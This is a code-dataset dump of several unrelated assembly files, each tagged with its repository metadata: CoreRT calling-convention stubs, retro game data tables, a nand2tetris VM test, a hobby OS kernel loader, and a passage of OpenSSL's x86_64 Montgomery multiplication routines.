;; int CallingConventionConverter_ReturnIntegerReturnThunk(int cbBytesOfStackToPop, ReturnBlock*)
;;
LEAF_ENTRY CallingConventionConverter_ReturnIntegerReturnThunk, _TEXT
pop eax ; pop return address into edx
add esp,ecx ; remove ecx bytes from the call stack
push eax ; put the return address back on the stack
mov eax, [edx] ; setup eax and edx to hold the return value
mov edx, [edx + 4]
ret ; return (use a push/ret pair here so that the return stack buffer still works)
LEAF_END CallingConventionConverter_ReturnIntegerReturnThunk, _TEXT
;;
;; float CallingConventionConverter_Return4ByteFloatReturnThunk(int cbBytesOfStackToPop, ReturnBlock*)
;;
LEAF_ENTRY CallingConventionConverter_Return4ByteFloatReturnThunk, _TEXT
pop eax ; pop return address into edx
add esp,ecx ; remove ecx bytes from the call stack
push eax ; put the return address back on the stack
fld dword ptr [edx]; fill in the return value
ret ; return (use a push/ret pair here so that the return stack buffer still works)
LEAF_END CallingConventionConverter_Return4ByteFloatReturnThunk, _TEXT
;;
;; double CallingConventionConverter_Return4ByteFloatReturnThunk(int cbBytesOfStackToPop, ReturnBlock*)
;;
LEAF_ENTRY CallingConventionConverter_Return8ByteFloatReturnThunk, _TEXT
pop eax ; pop return address into edx
add esp,ecx ; remove ecx bytes from the call stack
push eax ; put the return address back on the stack
fld qword ptr [edx]; fill in the return value
ret ; return (use a push/ret pair here so that the return stack buffer still works)
LEAF_END CallingConventionConverter_Return8ByteFloatReturnThunk, _TEXT
;;
;; Note: The "__jmpstub__" prefix is used to indicate to debugger
;; that it must step-through this stub when it encounters it while
;; stepping.
;;
;;
;; __jmpstub__CallingConventionConverter_CommonCallingStub(?)
;;
LEAF_ENTRY __jmpstub__CallingConventionConverter_CommonCallingStub, _TEXT
;; rax <- stub info
push ebp
mov ebp, esp
push [eax] ; First argument
mov eax,[eax+4] ;
push [eax] ; Pointer to CallingConventionConverter Managed thunk
mov eax,[eax+4] ; Pointer to UniversalTransitionThunk
jmp eax
LEAF_END __jmpstub__CallingConventionConverter_CommonCallingStub, _TEXT
;;
;; void CallingConventionConverter_GetStubs(IntPtr *returnVoidStub, IntPtr *returnIntegerStub, IntPtr* commonCallingStub, IntPtr *return4ByteFloat, IntPtr *return8ByteFloat)
;;
LEAF_ENTRY CallingConventionConverter_GetStubs, _TEXT
lea eax, [CallingConventionConverter_ReturnVoidReturnThunk]
mov ecx, [esp+04h]
mov [ecx], eax
lea eax, [CallingConventionConverter_ReturnIntegerReturnThunk]
mov ecx, [esp+08h]
mov [ecx], eax
lea eax, [__jmpstub__CallingConventionConverter_CommonCallingStub]
mov ecx, [esp+0Ch]
mov [ecx], eax
lea eax, [CallingConventionConverter_Return4ByteFloatReturnThunk]
mov ecx, [esp+10h]
mov [ecx], eax
lea eax, [CallingConventionConverter_Return8ByteFloatReturnThunk]
mov ecx, [esp+14h]
mov [ecx], eax
retn 14h
LEAF_END CallingConventionConverter_GetStubs, _TEXT
end
| zenos-os/zenos | vendor/corert/src/Native/Runtime/i386/CallingConventionConverterHelpers.asm | Assembly | mit | 5,182 |
.export _TitleScreenLogoImage
.segment "RODATA"
_TitleScreenLogoImage:
.byte 21
.byte 14
.include "../graphics/trl_logo_merged.map"
| puzzud/retroleague | src/game/image_maps.asm | Assembly | mit | 140 |
Ani_36A58: dc.w byte_36A70-Ani_36A58
dc.w byte_36A73-Ani_36A58
dc.w byte_36A76-Ani_36A58
dc.w byte_36A79-Ani_36A58
dc.w byte_36A7F-Ani_36A58
dc.w byte_36A82-Ani_36A58
dc.w byte_36A85-Ani_36A58
dc.w byte_36A88-Ani_36A58
dc.w byte_36A8B-Ani_36A58
dc.w byte_36A91-Ani_36A58
dc.w byte_36A9A-Ani_36A58
dc.w byte_36A9F-Ani_36A58
byte_36A70: dc.b $1F, 0, $FF
byte_36A73: dc.b $1F, 1, $FF
byte_36A76: dc.b $1F, 2, $FF
byte_36A79: dc.b 7, 3, 4, 5, $19, $FF
byte_36A7F: dc.b $1F, $11, $FF
byte_36A82: dc.b $1F, 6, $FF
byte_36A85: dc.b $1F, 7, $FF
byte_36A88: dc.b $1F, $1A, $FF
byte_36A8B: dc.b 5, 9, $A, $B, $C, $FC
byte_36A91: dc.b 5, $D, $E, $F, $10, $FC, $1A, $FE, 1
byte_36A9A: dc.b $B, 8, 7, $FD, 9
byte_36A9F: dc.b 5, $1B, $1C, $1D, $1E, $1F, $FC
| TeamASM-Blur/Sonic-3-Blue-Balls-Edition | Working Disassembly/General/2P Zone/Anim - Item.asm | Assembly | apache-2.0 | 818 |
//push constant 3030
@3030
D=A
@SP
A=M
M=D
@SP
M=M+1
//pop pointer 0
@0
D=A
@3
A=D+A
D=A
@R13
M=D
@SP
M=M-1
A=M
D=M
@R13
A=M
M=D
//push constant 3040
@3040
D=A
@SP
A=M
M=D
@SP
M=M+1
//pop pointer 1
@1
D=A
@3
A=D+A
D=A
@R13
M=D
@SP
M=M-1
A=M
D=M
@R13
A=M
M=D
//push constant 32
@32
D=A
@SP
A=M
M=D
@SP
M=M+1
//pop this 2
@2
D=A
@THIS
A=D+M
D=A
@R13
M=D
@SP
M=M-1
A=M
D=M
@R13
A=M
M=D
//push constant 46
@46
D=A
@SP
A=M
M=D
@SP
M=M+1
//pop that 6
@6
D=A
@THAT
A=D+M
D=A
@R13
M=D
@SP
M=M-1
A=M
D=M
@R13
A=M
M=D
//push pointer 0
@0
D=A
@3
A=D+A
D=M
@SP
A=M
M=D
@SP
M=M+1
//push pointer 1
@1
D=A
@3
A=D+A
D=M
@SP
A=M
M=D
@SP
M=M+1
//add
@SP
M=M-1
A=M
D=M
@SP
A=M-1
M=M+D
//push this 2
@2
D=A
@THIS
A=D+M
D=M
@SP
A=M
M=D
@SP
M=M+1
//sub
@SP
M=M-1
A=M
D=M
@SP
A=M-1
M=M-D
//push that 6
@6
D=A
@THAT
A=D+M
D=M
@SP
A=M
M=D
@SP
M=M+1
//add
@SP
M=M-1
A=M
D=M
@SP
A=M-1
M=M+D
| josecu/nand2tetris | projects/07/MemoryAccess/PointerTest/PointerTest.asm | Assembly | apache-2.0 | 879 |
global loader
global scheduleNow
extern main
extern initializeKernelBinary
extern userSchedToKernel
extern kernelSchedToUser
extern setNextProcess
%macro pusha 0
push rax
push rbx
push rcx
push rdx
push rbp
push rdi
push rsi
push r8
push r9
push r10
push r11
push r12
push r13
push r14
push r15
push fs
push gs
%endmacro
%macro popa 0
pop gs
pop fs
pop r15
pop r14
pop r13
pop r12
pop r11
pop r10
pop r9
pop r8
pop rsi
pop rdi
pop rbp
pop rdx
pop rcx
pop rbx
pop rax
%endmacro
loader:
call initializeKernelBinary ;Set up the kernel binary,get thet stack address
mov rsp, rax ;Set up the stack with the returned address
call main
hang:
hlt ;halt machine should kernel return
jmp hang
;SoundBlasterosOS
scheduleNow:
;Push de los registros que dps va a levantar el iretq
pop QWORD[ret_addr] ;Direccion de retorno
mov QWORD[ss_addr], ss ;Stack Segment
push QWORD[ss_addr]
push rsp
pushf ;Se pushean los flags
mov QWORD[cs_addr], cs ;Code Segment
push QWORD[cs_addr]
push QWORD[ret_addr] ;Direccion de retorno
;En este momento el stack contiene:
;
; > ret_addr
; cs
; rflags
; rsp
; ss
pusha
mov rdi, rsp
call userSchedToKernel
mov rsp, rax
call setNextProcess
call kernelSchedToUser
mov rsp, rax
popa
iretq
section .bss
ret_addr:
resq 1
cs_addr:
resq 1
ss_addr:
resq 1
| Matuteale/tp2-so-2016 | Kernel/loader.asm | Assembly | bsd-3-clause | 1,835 |
OPTION DOTNAME
.text$ SEGMENT ALIGN(256) 'CODE'
EXTERN OPENSSL_ia32cap_P:NEAR
PUBLIC bn_mul_mont_gather5
ALIGN 64
bn_mul_mont_gather5 PROC PUBLIC
mov QWORD PTR[8+rsp],rdi ;WIN64 prologue
mov QWORD PTR[16+rsp],rsi
mov rax,rsp
$L$SEH_begin_bn_mul_mont_gather5::
mov rdi,rcx
mov rsi,rdx
mov rdx,r8
mov rcx,r9
mov r8,QWORD PTR[40+rsp]
mov r9,QWORD PTR[48+rsp]
test r9d,7
jnz $L$mul_enter
mov r11d,DWORD PTR[((OPENSSL_ia32cap_P+8))]
jmp $L$mul4x_enter
ALIGN 16
$L$mul_enter::
mov r9d,r9d
mov rax,rsp
mov r10d,DWORD PTR[56+rsp]
push rbx
push rbp
push r12
push r13
push r14
push r15
lea rsp,QWORD PTR[((-40))+rsp]
movaps XMMWORD PTR[rsp],xmm6
movaps XMMWORD PTR[16+rsp],xmm7
lea r11,QWORD PTR[2+r9]
neg r11
lea rsp,QWORD PTR[r11*8+rsp]
and rsp,-1024
mov QWORD PTR[8+r9*8+rsp],rax
$L$mul_body::
mov r12,rdx
mov r11,r10
shr r10,3
and r11,7
not r10
lea rax,QWORD PTR[$L$magic_masks]
and r10,3
lea r12,QWORD PTR[96+r11*8+r12]
movq xmm4,QWORD PTR[r10*8+rax]
movq xmm5,QWORD PTR[8+r10*8+rax]
movq xmm6,QWORD PTR[16+r10*8+rax]
movq xmm7,QWORD PTR[24+r10*8+rax]
movq xmm0,QWORD PTR[((-96))+r12]
movq xmm1,QWORD PTR[((-32))+r12]
pand xmm0,xmm4
movq xmm2,QWORD PTR[32+r12]
pand xmm1,xmm5
movq xmm3,QWORD PTR[96+r12]
pand xmm2,xmm6
por xmm0,xmm1
pand xmm3,xmm7
por xmm0,xmm2
lea r12,QWORD PTR[256+r12]
por xmm0,xmm3
DB 102,72,15,126,195
mov r8,QWORD PTR[r8]
mov rax,QWORD PTR[rsi]
xor r14,r14
xor r15,r15
movq xmm0,QWORD PTR[((-96))+r12]
movq xmm1,QWORD PTR[((-32))+r12]
pand xmm0,xmm4
movq xmm2,QWORD PTR[32+r12]
pand xmm1,xmm5
mov rbp,r8
mul rbx
mov r10,rax
mov rax,QWORD PTR[rcx]
movq xmm3,QWORD PTR[96+r12]
pand xmm2,xmm6
por xmm0,xmm1
pand xmm3,xmm7
imul rbp,r10
mov r11,rdx
por xmm0,xmm2
lea r12,QWORD PTR[256+r12]
por xmm0,xmm3
mul rbp
add r10,rax
mov rax,QWORD PTR[8+rsi]
adc rdx,0
mov r13,rdx
lea r15,QWORD PTR[1+r15]
jmp $L$1st_enter
ALIGN 16
$L$1st::
add r13,rax
mov rax,QWORD PTR[r15*8+rsi]
adc rdx,0
add r13,r11
mov r11,r10
adc rdx,0
mov QWORD PTR[((-16))+r15*8+rsp],r13
mov r13,rdx
$L$1st_enter::
mul rbx
add r11,rax
mov rax,QWORD PTR[r15*8+rcx]
adc rdx,0
lea r15,QWORD PTR[1+r15]
mov r10,rdx
mul rbp
cmp r15,r9
jne $L$1st
DB 102,72,15,126,195
add r13,rax
mov rax,QWORD PTR[rsi]
adc rdx,0
add r13,r11
adc rdx,0
mov QWORD PTR[((-16))+r15*8+rsp],r13
mov r13,rdx
mov r11,r10
xor rdx,rdx
add r13,r11
adc rdx,0
mov QWORD PTR[((-8))+r9*8+rsp],r13
mov QWORD PTR[r9*8+rsp],rdx
lea r14,QWORD PTR[1+r14]
jmp $L$outer
ALIGN 16
$L$outer::
xor r15,r15
mov rbp,r8
mov r10,QWORD PTR[rsp]
movq xmm0,QWORD PTR[((-96))+r12]
movq xmm1,QWORD PTR[((-32))+r12]
pand xmm0,xmm4
movq xmm2,QWORD PTR[32+r12]
pand xmm1,xmm5
mul rbx
add r10,rax
mov rax,QWORD PTR[rcx]
adc rdx,0
movq xmm3,QWORD PTR[96+r12]
pand xmm2,xmm6
por xmm0,xmm1
pand xmm3,xmm7
imul rbp,r10
mov r11,rdx
por xmm0,xmm2
lea r12,QWORD PTR[256+r12]
por xmm0,xmm3
mul rbp
add r10,rax
mov rax,QWORD PTR[8+rsi]
adc rdx,0
mov r10,QWORD PTR[8+rsp]
mov r13,rdx
lea r15,QWORD PTR[1+r15]
jmp $L$inner_enter
ALIGN 16
$L$inner::
add r13,rax
mov rax,QWORD PTR[r15*8+rsi]
adc rdx,0
add r13,r10
mov r10,QWORD PTR[r15*8+rsp]
adc rdx,0
mov QWORD PTR[((-16))+r15*8+rsp],r13
mov r13,rdx
$L$inner_enter::
mul rbx
add r11,rax
mov rax,QWORD PTR[r15*8+rcx]
adc rdx,0
add r10,r11
mov r11,rdx
adc r11,0
lea r15,QWORD PTR[1+r15]
mul rbp
cmp r15,r9
jne $L$inner
DB 102,72,15,126,195
add r13,rax
mov rax,QWORD PTR[rsi]
adc rdx,0
add r13,r10
mov r10,QWORD PTR[r15*8+rsp]
adc rdx,0
mov QWORD PTR[((-16))+r15*8+rsp],r13
mov r13,rdx
xor rdx,rdx
add r13,r11
adc rdx,0
add r13,r10
adc rdx,0
mov QWORD PTR[((-8))+r9*8+rsp],r13
mov QWORD PTR[r9*8+rsp],rdx
lea r14,QWORD PTR[1+r14]
cmp r14,r9
jb $L$outer
xor r14,r14
mov rax,QWORD PTR[rsp]
lea rsi,QWORD PTR[rsp]
mov r15,r9
jmp $L$sub
ALIGN 16
$L$sub:: sbb rax,QWORD PTR[r14*8+rcx]
mov QWORD PTR[r14*8+rdi],rax
mov rax,QWORD PTR[8+r14*8+rsi]
lea r14,QWORD PTR[1+r14]
dec r15
jnz $L$sub
sbb rax,0
xor r14,r14
and rsi,rax
not rax
mov rcx,rdi
and rcx,rax
mov r15,r9
or rsi,rcx
ALIGN 16
$L$copy::
mov rax,QWORD PTR[r14*8+rsi]
mov QWORD PTR[r14*8+rsp],r14
mov QWORD PTR[r14*8+rdi],rax
lea r14,QWORD PTR[1+r14]
sub r15,1
jnz $L$copy
mov rsi,QWORD PTR[8+r9*8+rsp]
mov rax,1
movaps xmm6,XMMWORD PTR[((-88))+rsi]
movaps xmm7,XMMWORD PTR[((-72))+rsi]
mov r15,QWORD PTR[((-48))+rsi]
mov r14,QWORD PTR[((-40))+rsi]
mov r13,QWORD PTR[((-32))+rsi]
mov r12,QWORD PTR[((-24))+rsi]
mov rbp,QWORD PTR[((-16))+rsi]
mov rbx,QWORD PTR[((-8))+rsi]
lea rsp,QWORD PTR[rsi]
$L$mul_epilogue::
mov rdi,QWORD PTR[8+rsp] ;WIN64 epilogue
mov rsi,QWORD PTR[16+rsp]
DB 0F3h,0C3h ;repret
$L$SEH_end_bn_mul_mont_gather5::
bn_mul_mont_gather5 ENDP
ALIGN 32
bn_mul4x_mont_gather5 PROC PRIVATE
mov QWORD PTR[8+rsp],rdi ;WIN64 prologue
mov QWORD PTR[16+rsp],rsi
mov rax,rsp
$L$SEH_begin_bn_mul4x_mont_gather5::
mov rdi,rcx
mov rsi,rdx
mov rdx,r8
mov rcx,r9
mov r8,QWORD PTR[40+rsp]
mov r9,QWORD PTR[48+rsp]
$L$mul4x_enter::
and r11d,080100h
cmp r11d,080100h
je $L$mulx4x_enter
DB 067h
mov rax,rsp
push rbx
push rbp
push r12
push r13
push r14
push r15
lea rsp,QWORD PTR[((-40))+rsp]
movaps XMMWORD PTR[rsp],xmm6
movaps XMMWORD PTR[16+rsp],xmm7
DB 067h
mov r10d,r9d
shl r9d,3
shl r10d,3+2
neg r9
lea r11,QWORD PTR[((-64))+r9*2+rsp]
sub r11,rsi
and r11,4095
cmp r10,r11
jb $L$mul4xsp_alt
sub rsp,r11
lea rsp,QWORD PTR[((-64))+r9*2+rsp]
jmp $L$mul4xsp_done
ALIGN 32
$L$mul4xsp_alt::
lea r10,QWORD PTR[((4096-64))+r9*2]
lea rsp,QWORD PTR[((-64))+r9*2+rsp]
sub r11,r10
mov r10,0
cmovc r11,r10
sub rsp,r11
$L$mul4xsp_done::
and rsp,-64
neg r9
mov QWORD PTR[40+rsp],rax
$L$mul4x_body::
call mul4x_internal
mov rsi,QWORD PTR[40+rsp]
mov rax,1
movaps xmm6,XMMWORD PTR[((-88))+rsi]
movaps xmm7,XMMWORD PTR[((-72))+rsi]
mov r15,QWORD PTR[((-48))+rsi]
mov r14,QWORD PTR[((-40))+rsi]
mov r13,QWORD PTR[((-32))+rsi]
mov r12,QWORD PTR[((-24))+rsi]
mov rbp,QWORD PTR[((-16))+rsi]
mov rbx,QWORD PTR[((-8))+rsi]
lea rsp,QWORD PTR[rsi]
$L$mul4x_epilogue::
mov rdi,QWORD PTR[8+rsp] ;WIN64 epilogue
mov rsi,QWORD PTR[16+rsp]
DB 0F3h,0C3h ;repret
$L$SEH_end_bn_mul4x_mont_gather5::
bn_mul4x_mont_gather5 ENDP
ALIGN 32
mul4x_internal PROC PRIVATE
shl r9,5
mov r10d,DWORD PTR[56+rax]
lea r13,QWORD PTR[256+r9*1+rdx]
shr r9,5
mov r11,r10
shr r10,3
and r11,7
not r10
lea rax,QWORD PTR[$L$magic_masks]
and r10,3
lea r12,QWORD PTR[96+r11*8+rdx]
movq xmm4,QWORD PTR[r10*8+rax]
movq xmm5,QWORD PTR[8+r10*8+rax]
add r11,7
movq xmm6,QWORD PTR[16+r10*8+rax]
movq xmm7,QWORD PTR[24+r10*8+rax]
and r11,7
movq xmm0,QWORD PTR[((-96))+r12]
lea r14,QWORD PTR[256+r12]
movq xmm1,QWORD PTR[((-32))+r12]
pand xmm0,xmm4
movq xmm2,QWORD PTR[32+r12]
pand xmm1,xmm5
movq xmm3,QWORD PTR[96+r12]
pand xmm2,xmm6
DB 067h
por xmm0,xmm1
movq xmm1,QWORD PTR[((-96))+r14]
DB 067h
pand xmm3,xmm7
DB 067h
por xmm0,xmm2
movq xmm2,QWORD PTR[((-32))+r14]
DB 067h
pand xmm1,xmm4
DB 067h
por xmm0,xmm3
movq xmm3,QWORD PTR[32+r14]
DB 102,72,15,126,195
movq xmm0,QWORD PTR[96+r14]
mov QWORD PTR[((16+8))+rsp],r13
mov QWORD PTR[((56+8))+rsp],rdi
mov r8,QWORD PTR[r8]
mov rax,QWORD PTR[rsi]
lea rsi,QWORD PTR[r9*1+rsi]
neg r9
mov rbp,r8
mul rbx
mov r10,rax
mov rax,QWORD PTR[rcx]
pand xmm2,xmm5
pand xmm3,xmm6
por xmm1,xmm2
imul rbp,r10
lea r14,QWORD PTR[((64+8))+r11*8+rsp]
mov r11,rdx
pand xmm0,xmm7
por xmm1,xmm3
lea r12,QWORD PTR[512+r12]
por xmm0,xmm1
mul rbp
add r10,rax
mov rax,QWORD PTR[8+r9*1+rsi]
adc rdx,0
mov rdi,rdx
mul rbx
add r11,rax
mov rax,QWORD PTR[16+rcx]
adc rdx,0
mov r10,rdx
mul rbp
add rdi,rax
mov rax,QWORD PTR[16+r9*1+rsi]
adc rdx,0
add rdi,r11
lea r15,QWORD PTR[32+r9]
lea rcx,QWORD PTR[64+rcx]
adc rdx,0
mov QWORD PTR[r14],rdi
mov r13,rdx
jmp $L$1st4x
ALIGN 32
$L$1st4x::
mul rbx
add r10,rax
mov rax,QWORD PTR[((-32))+rcx]
lea r14,QWORD PTR[32+r14]
adc rdx,0
mov r11,rdx
mul rbp
add r13,rax
mov rax,QWORD PTR[((-8))+r15*1+rsi]
adc rdx,0
add r13,r10
adc rdx,0
mov QWORD PTR[((-24))+r14],r13
mov rdi,rdx
mul rbx
add r11,rax
mov rax,QWORD PTR[((-16))+rcx]
adc rdx,0
mov r10,rdx
mul rbp
add rdi,rax
mov rax,QWORD PTR[r15*1+rsi]
adc rdx,0
add rdi,r11
adc rdx,0
mov QWORD PTR[((-16))+r14],rdi
mov r13,rdx
mul rbx
add r10,rax
mov rax,QWORD PTR[rcx]
adc rdx,0
mov r11,rdx
mul rbp
add r13,rax
mov rax,QWORD PTR[8+r15*1+rsi]
adc rdx,0
add r13,r10
adc rdx,0
mov QWORD PTR[((-8))+r14],r13
mov rdi,rdx
mul rbx
add r11,rax
mov rax,QWORD PTR[16+rcx]
adc rdx,0
mov r10,rdx
mul rbp
add rdi,rax
mov rax,QWORD PTR[16+r15*1+rsi]
adc rdx,0
add rdi,r11
lea rcx,QWORD PTR[64+rcx]
adc rdx,0
mov QWORD PTR[r14],rdi
mov r13,rdx
add r15,32
jnz $L$1st4x
mul rbx
add r10,rax
mov rax,QWORD PTR[((-32))+rcx]
lea r14,QWORD PTR[32+r14]
adc rdx,0
mov r11,rdx
mul rbp
add r13,rax
mov rax,QWORD PTR[((-8))+rsi]
adc rdx,0
add r13,r10
adc rdx,0
mov QWORD PTR[((-24))+r14],r13
mov rdi,rdx
mul rbx
add r11,rax
mov rax,QWORD PTR[((-16))+rcx]
adc rdx,0
mov r10,rdx
mul rbp
add rdi,rax
mov rax,QWORD PTR[r9*1+rsi]
adc rdx,0
add rdi,r11
adc rdx,0
mov QWORD PTR[((-16))+r14],rdi
mov r13,rdx
DB 102,72,15,126,195
lea rcx,QWORD PTR[r9*2+rcx]
xor rdi,rdi
add r13,r10
adc rdi,0
mov QWORD PTR[((-8))+r14],r13
jmp $L$outer4x
ALIGN 32
$L$outer4x::
mov r10,QWORD PTR[r9*1+r14]
mov rbp,r8
mul rbx
add r10,rax
mov rax,QWORD PTR[rcx]
adc rdx,0
movq xmm0,QWORD PTR[((-96))+r12]
movq xmm1,QWORD PTR[((-32))+r12]
pand xmm0,xmm4
movq xmm2,QWORD PTR[32+r12]
pand xmm1,xmm5
movq xmm3,QWORD PTR[96+r12]
imul rbp,r10
DB 067h
mov r11,rdx
mov QWORD PTR[r14],rdi
pand xmm2,xmm6
por xmm0,xmm1
pand xmm3,xmm7
por xmm0,xmm2
lea r14,QWORD PTR[r9*1+r14]
lea r12,QWORD PTR[256+r12]
por xmm0,xmm3
mul rbp
add r10,rax
mov rax,QWORD PTR[8+r9*1+rsi]
adc rdx,0
mov rdi,rdx
mul rbx
add r11,rax
mov rax,QWORD PTR[16+rcx]
adc rdx,0
add r11,QWORD PTR[8+r14]
adc rdx,0
mov r10,rdx
mul rbp
add rdi,rax
mov rax,QWORD PTR[16+r9*1+rsi]
adc rdx,0
add rdi,r11
lea r15,QWORD PTR[32+r9]
lea rcx,QWORD PTR[64+rcx]
adc rdx,0
mov r13,rdx
jmp $L$inner4x
ALIGN 32
$L$inner4x::
mul rbx
add r10,rax
mov rax,QWORD PTR[((-32))+rcx]
adc rdx,0
add r10,QWORD PTR[16+r14]
lea r14,QWORD PTR[32+r14]
adc rdx,0
mov r11,rdx
mul rbp
add r13,rax
mov rax,QWORD PTR[((-8))+r15*1+rsi]
adc rdx,0
add r13,r10
adc rdx,0
mov QWORD PTR[((-32))+r14],rdi
mov rdi,rdx
mul rbx
add r11,rax
mov rax,QWORD PTR[((-16))+rcx]
adc rdx,0
add r11,QWORD PTR[((-8))+r14]
adc rdx,0
mov r10,rdx
mul rbp
add rdi,rax
mov rax,QWORD PTR[r15*1+rsi]
adc rdx,0
add rdi,r11
adc rdx,0
mov QWORD PTR[((-24))+r14],r13
mov r13,rdx
mul rbx
add r10,rax
mov rax,QWORD PTR[rcx]
adc rdx,0
add r10,QWORD PTR[r14]
adc rdx,0
mov r11,rdx
mul rbp
add r13,rax
mov rax,QWORD PTR[8+r15*1+rsi]
adc rdx,0
add r13,r10
adc rdx,0
mov QWORD PTR[((-16))+r14],rdi
mov rdi,rdx
mul rbx
add r11,rax
mov rax,QWORD PTR[16+rcx]
adc rdx,0
add r11,QWORD PTR[8+r14]
adc rdx,0
mov r10,rdx
mul rbp
add rdi,rax
mov rax,QWORD PTR[16+r15*1+rsi]
adc rdx,0
add rdi,r11
lea rcx,QWORD PTR[64+rcx]
adc rdx,0
mov QWORD PTR[((-8))+r14],r13
mov r13,rdx
add r15,32
jnz $L$inner4x
mul rbx
add r10,rax
mov rax,QWORD PTR[((-32))+rcx]
adc rdx,0
add r10,QWORD PTR[16+r14]
lea r14,QWORD PTR[32+r14]
adc rdx,0
mov r11,rdx
mul rbp
add r13,rax
mov rax,QWORD PTR[((-8))+rsi]
adc rdx,0
add r13,r10
adc rdx,0
mov QWORD PTR[((-32))+r14],rdi
mov rdi,rdx
mul rbx
add r11,rax
mov rax,rbp
mov rbp,QWORD PTR[((-16))+rcx]
adc rdx,0
add r11,QWORD PTR[((-8))+r14]
adc rdx,0
mov r10,rdx
mul rbp
add rdi,rax
mov rax,QWORD PTR[r9*1+rsi]
adc rdx,0
add rdi,r11
adc rdx,0
mov QWORD PTR[((-24))+r14],r13
mov r13,rdx
DB 102,72,15,126,195
mov QWORD PTR[((-16))+r14],rdi
lea rcx,QWORD PTR[r9*2+rcx]
xor rdi,rdi
add r13,r10
adc rdi,0
add r13,QWORD PTR[r14]
adc rdi,0
mov QWORD PTR[((-8))+r14],r13
cmp r12,QWORD PTR[((16+8))+rsp]
jb $L$outer4x
sub rbp,r13
adc r15,r15
or rdi,r15
xor rdi,1
lea rbx,QWORD PTR[r9*1+r14]
lea rbp,QWORD PTR[rdi*8+rcx]
mov rcx,r9
sar rcx,3+2
mov rdi,QWORD PTR[((56+8))+rsp]
jmp $L$sqr4x_sub
mul4x_internal ENDP
PUBLIC bn_power5
ALIGN 32
bn_power5 PROC PUBLIC
mov QWORD PTR[8+rsp],rdi ;WIN64 prologue
mov QWORD PTR[16+rsp],rsi
mov rax,rsp
$L$SEH_begin_bn_power5::
mov rdi,rcx
mov rsi,rdx
mov rdx,r8
mov rcx,r9
mov r8,QWORD PTR[40+rsp]
mov r9,QWORD PTR[48+rsp]
mov r11d,DWORD PTR[((OPENSSL_ia32cap_P+8))]
and r11d,080100h
cmp r11d,080100h
je $L$powerx5_enter
mov rax,rsp
push rbx
push rbp
push r12
push r13
push r14
push r15
lea rsp,QWORD PTR[((-40))+rsp]
movaps XMMWORD PTR[rsp],xmm6
movaps XMMWORD PTR[16+rsp],xmm7
mov r10d,r9d
shl r9d,3
shl r10d,3+2
neg r9
mov r8,QWORD PTR[r8]
lea r11,QWORD PTR[((-64))+r9*2+rsp]
sub r11,rsi
and r11,4095
cmp r10,r11
jb $L$pwr_sp_alt
sub rsp,r11
lea rsp,QWORD PTR[((-64))+r9*2+rsp]
jmp $L$pwr_sp_done
ALIGN 32
$L$pwr_sp_alt::
lea r10,QWORD PTR[((4096-64))+r9*2]
lea rsp,QWORD PTR[((-64))+r9*2+rsp]
sub r11,r10
mov r10,0
cmovc r11,r10
sub rsp,r11
$L$pwr_sp_done::
and rsp,-64
mov r10,r9
neg r9
mov QWORD PTR[32+rsp],r8
mov QWORD PTR[40+rsp],rax
$L$power5_body::
DB 102,72,15,110,207
DB 102,72,15,110,209
DB 102,73,15,110,218
DB 102,72,15,110,226
call __bn_sqr8x_internal
call __bn_sqr8x_internal
call __bn_sqr8x_internal
call __bn_sqr8x_internal
call __bn_sqr8x_internal
DB 102,72,15,126,209
DB 102,72,15,126,226
mov rdi,rsi
mov rax,QWORD PTR[40+rsp]
lea r8,QWORD PTR[32+rsp]
call mul4x_internal
mov rsi,QWORD PTR[40+rsp]
mov rax,1
mov r15,QWORD PTR[((-48))+rsi]
mov r14,QWORD PTR[((-40))+rsi]
mov r13,QWORD PTR[((-32))+rsi]
mov r12,QWORD PTR[((-24))+rsi]
mov rbp,QWORD PTR[((-16))+rsi]
mov rbx,QWORD PTR[((-8))+rsi]
lea rsp,QWORD PTR[rsi]
$L$power5_epilogue::
mov rdi,QWORD PTR[8+rsp] ;WIN64 epilogue
mov rsi,QWORD PTR[16+rsp]
DB 0F3h,0C3h ;repret
$L$SEH_end_bn_power5::
bn_power5 ENDP
PUBLIC bn_sqr8x_internal
ALIGN 32
bn_sqr8x_internal PROC PUBLIC
__bn_sqr8x_internal::
lea rbp,QWORD PTR[32+r10]
lea rsi,QWORD PTR[r9*1+rsi]
mov rcx,r9
mov r14,QWORD PTR[((-32))+rbp*1+rsi]
lea rdi,QWORD PTR[((48+8))+r9*2+rsp]
mov rax,QWORD PTR[((-24))+rbp*1+rsi]
lea rdi,QWORD PTR[((-32))+rbp*1+rdi]
mov rbx,QWORD PTR[((-16))+rbp*1+rsi]
mov r15,rax
mul r14
mov r10,rax
mov rax,rbx
mov r11,rdx
mov QWORD PTR[((-24))+rbp*1+rdi],r10
mul r14
add r11,rax
mov rax,rbx
adc rdx,0
mov QWORD PTR[((-16))+rbp*1+rdi],r11
mov r10,rdx
mov rbx,QWORD PTR[((-8))+rbp*1+rsi]
mul r15
mov r12,rax
mov rax,rbx
mov r13,rdx
lea rcx,QWORD PTR[rbp]
mul r14
add r10,rax
mov rax,rbx
mov r11,rdx
adc r11,0
add r10,r12
adc r11,0
mov QWORD PTR[((-8))+rcx*1+rdi],r10
jmp $L$sqr4x_1st
ALIGN 32
$L$sqr4x_1st::
mov rbx,QWORD PTR[rcx*1+rsi]
mul r15
add r13,rax
mov rax,rbx
mov r12,rdx
adc r12,0
mul r14
add r11,rax
mov rax,rbx
mov rbx,QWORD PTR[8+rcx*1+rsi]
mov r10,rdx
adc r10,0
add r11,r13
adc r10,0
mul r15
add r12,rax
mov rax,rbx
mov QWORD PTR[rcx*1+rdi],r11
mov r13,rdx
adc r13,0
mul r14
add r10,rax
mov rax,rbx
mov rbx,QWORD PTR[16+rcx*1+rsi]
mov r11,rdx
adc r11,0
add r10,r12
adc r11,0
mul r15
add r13,rax
mov rax,rbx
mov QWORD PTR[8+rcx*1+rdi],r10
mov r12,rdx
adc r12,0
mul r14
add r11,rax
mov rax,rbx
mov rbx,QWORD PTR[24+rcx*1+rsi]
mov r10,rdx
adc r10,0
add r11,r13
adc r10,0
mul r15
add r12,rax
mov rax,rbx
mov QWORD PTR[16+rcx*1+rdi],r11
mov r13,rdx
adc r13,0
lea rcx,QWORD PTR[32+rcx]
mul r14
add r10,rax
mov rax,rbx
mov r11,rdx
adc r11,0
add r10,r12
adc r11,0
mov QWORD PTR[((-8))+rcx*1+rdi],r10
cmp rcx,0
jne $L$sqr4x_1st
mul r15
add r13,rax
lea rbp,QWORD PTR[16+rbp]
adc rdx,0
add r13,r11
adc rdx,0
mov QWORD PTR[rdi],r13
mov r12,rdx
mov QWORD PTR[8+rdi],rdx
